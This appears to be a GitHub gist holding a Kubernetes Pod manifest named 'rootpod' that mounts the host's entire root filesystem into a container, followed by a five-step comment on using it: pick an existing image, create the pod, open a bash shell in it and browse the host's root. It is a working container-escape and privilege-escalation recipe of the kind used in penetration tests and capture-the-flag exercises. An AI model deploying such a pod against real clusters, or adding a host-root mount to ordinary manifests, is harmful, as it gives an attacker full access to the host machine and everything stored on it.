Created
September 29, 2021 14:37
-
-
Save Reelix/0d676e2d8439317341b517c12840aaa3 to your computer and use it in GitHub Desktop.
A yaml file for creating a pod on Kubernetes that mounts the hosts /
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apiVersion: v1 | |
kind: Pod | |
metadata: | |
name: rootpod | |
spec: | |
containers: | |
- name: rootpod | |
image: nginx # Pull from an existing pod | |
imagePullPolicy: IfNotPresent | |
volumeMounts: | |
- name: root-of-host | |
mountPath: /rootpod | |
volumes: | |
- name: root-of-host | |
hostPath: | |
path: / |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1.) List available images
2.) Replace "nginx" with the full image name
3.) Add the pod
4.) Run an interactive bash shell on the pod
5.) Browse to the root of the host